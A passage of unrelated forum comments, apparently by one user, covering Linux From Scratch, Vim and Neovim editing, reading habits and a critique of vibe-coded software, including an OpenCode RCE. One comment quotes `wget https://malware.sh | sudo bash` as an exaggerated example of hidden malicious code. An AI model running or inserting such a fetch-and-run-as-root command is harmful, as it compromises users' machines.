Last time I did it in around 2020 the reasoning behind every package, and the meaning of most compilation flags was explained. It was a good experience. Yes it works in a VM. A tip is to create regular clones as checkpoints if you fuck something up along the way.
I did LFS on hardware for advanced operating systems in college. After messing up an early step and having to torch it midway and start over, I made the entire LFS build directory into a local git repo. It was not the best use of git and there are better tools, but it did allow me to revert a mistake later and saved me time. So I call it a success.
> To me the kinds of people using these editors are the kinds of people that love making everything more complex to seem smart.
I finally jumped the gun almost a decade ago because I had too many Electron apps for my cheap laptop to handle and had to scale down to be able to get anything done without freezes.
At first the modal editing was difficult but it clicked immediately and these days I'm handicapped in normal typing. I still type vim motions by accident in Libreoffice which is the last program I use that doesn't support modal editing. Lately I'm getting around that by typing in markdown and using pandoc to convert it to `.odt` or `.docx`.
> every possible extension you already need
In Vim land the first step isn't to install an extension, it's to create a keybinding. It can be as simple as a one-liner, to a shell script or even command-line tools. You can run it on the filename, the file contents, or the selection. The only limit is your imagination and experience. You don't really get it yet because you're conditioned into thinking the way you're used to, not how it could be done.
It has nothing to do with looking smart, I don't care what others think. Could it be your own coping mechanism for feeling dumb about not being able to use it?
> (not that I can see an obvious advantage to it).
Precision. I use e/E more often than w/W when editing a line or creating macros, but w/W for moving around. But more often i search with f and jump to next match with ; if I didn't hit the target right away. / then n if I'm moving to another line.
> Vim and Neovim have more differences than I thought. Among the many changes, [...], that Q repeats the last recorded macro
I followed the link where it says:
> Q Repeat the last recorded register [count] times..
> {Visual}Q In linewise Visual mode, repeat the last recorded register for each selected line.
That's a surprise, I have both in my config since my time on Vim but I didn't know they were implemented by default in Neovim. I guess the maintainers read the same article I did many moons ago.
> Being able to quickly create a mental map of code at the speed of changes
I get the feeling you're intentionally being a parody with that line.
> and ensuring everything works (verifiability) are now the most valuable skills.
Something might look like it works, and pass all the tests, but it could still be running `wget https://malware.sh | sudo bash`. Without knowing that it's there how will your tests catch it?
My example is exaggerated and in the real world it will be more subtle and less nefarious, but just as dangerous. This has already happened, OpenCode is a recent such example. It was on the front page a few days ago, you should check it out. Of course you have to review the code. Who are you trying to fool?
> We should also focus more on the derivative than our point in time.
So why are you selling it as possible in "our point in time" (are you getting paid per buzzword?). I read the quote as "Yes, I'm full of shit, but consider the possibilities and stop being a buzzkill bro".
Extremely depressing to see this happening to the craft I used to love.
I usually read on my back, with a pillow on my stomach as a makeshift stand for the cheap Android tablet I use. Sometimes I like to spice it up and read while doing some yoga positions on the floor. All of them very comfortable.
> The good news here is that their code is of such a poor quality it doesn't properly work anyway.
This is just wishful thinking. In reality it works just well enough to be dangerous. Just look at the latest RCE in OpenCode. The AI it was vibe-coded with allowed any website with origin * to execute code, and the Prompt Engineer™ didn't understand the implications.
I'm watching the voters around the world electing charismatic leaders and then cheering the consequences.
Thus companies electing to replace software developers with AI slop are not of a much surprise to me.
It doesn't matter whether people will die because of AI slop. What matters is keeping Microsoft shareholders happy and they are only happy when there is a growing demand for slop.
This should be "especially in tests". It's more important that they work than the actual code, because their purpose is to catch when the rest of the code breaks.
reply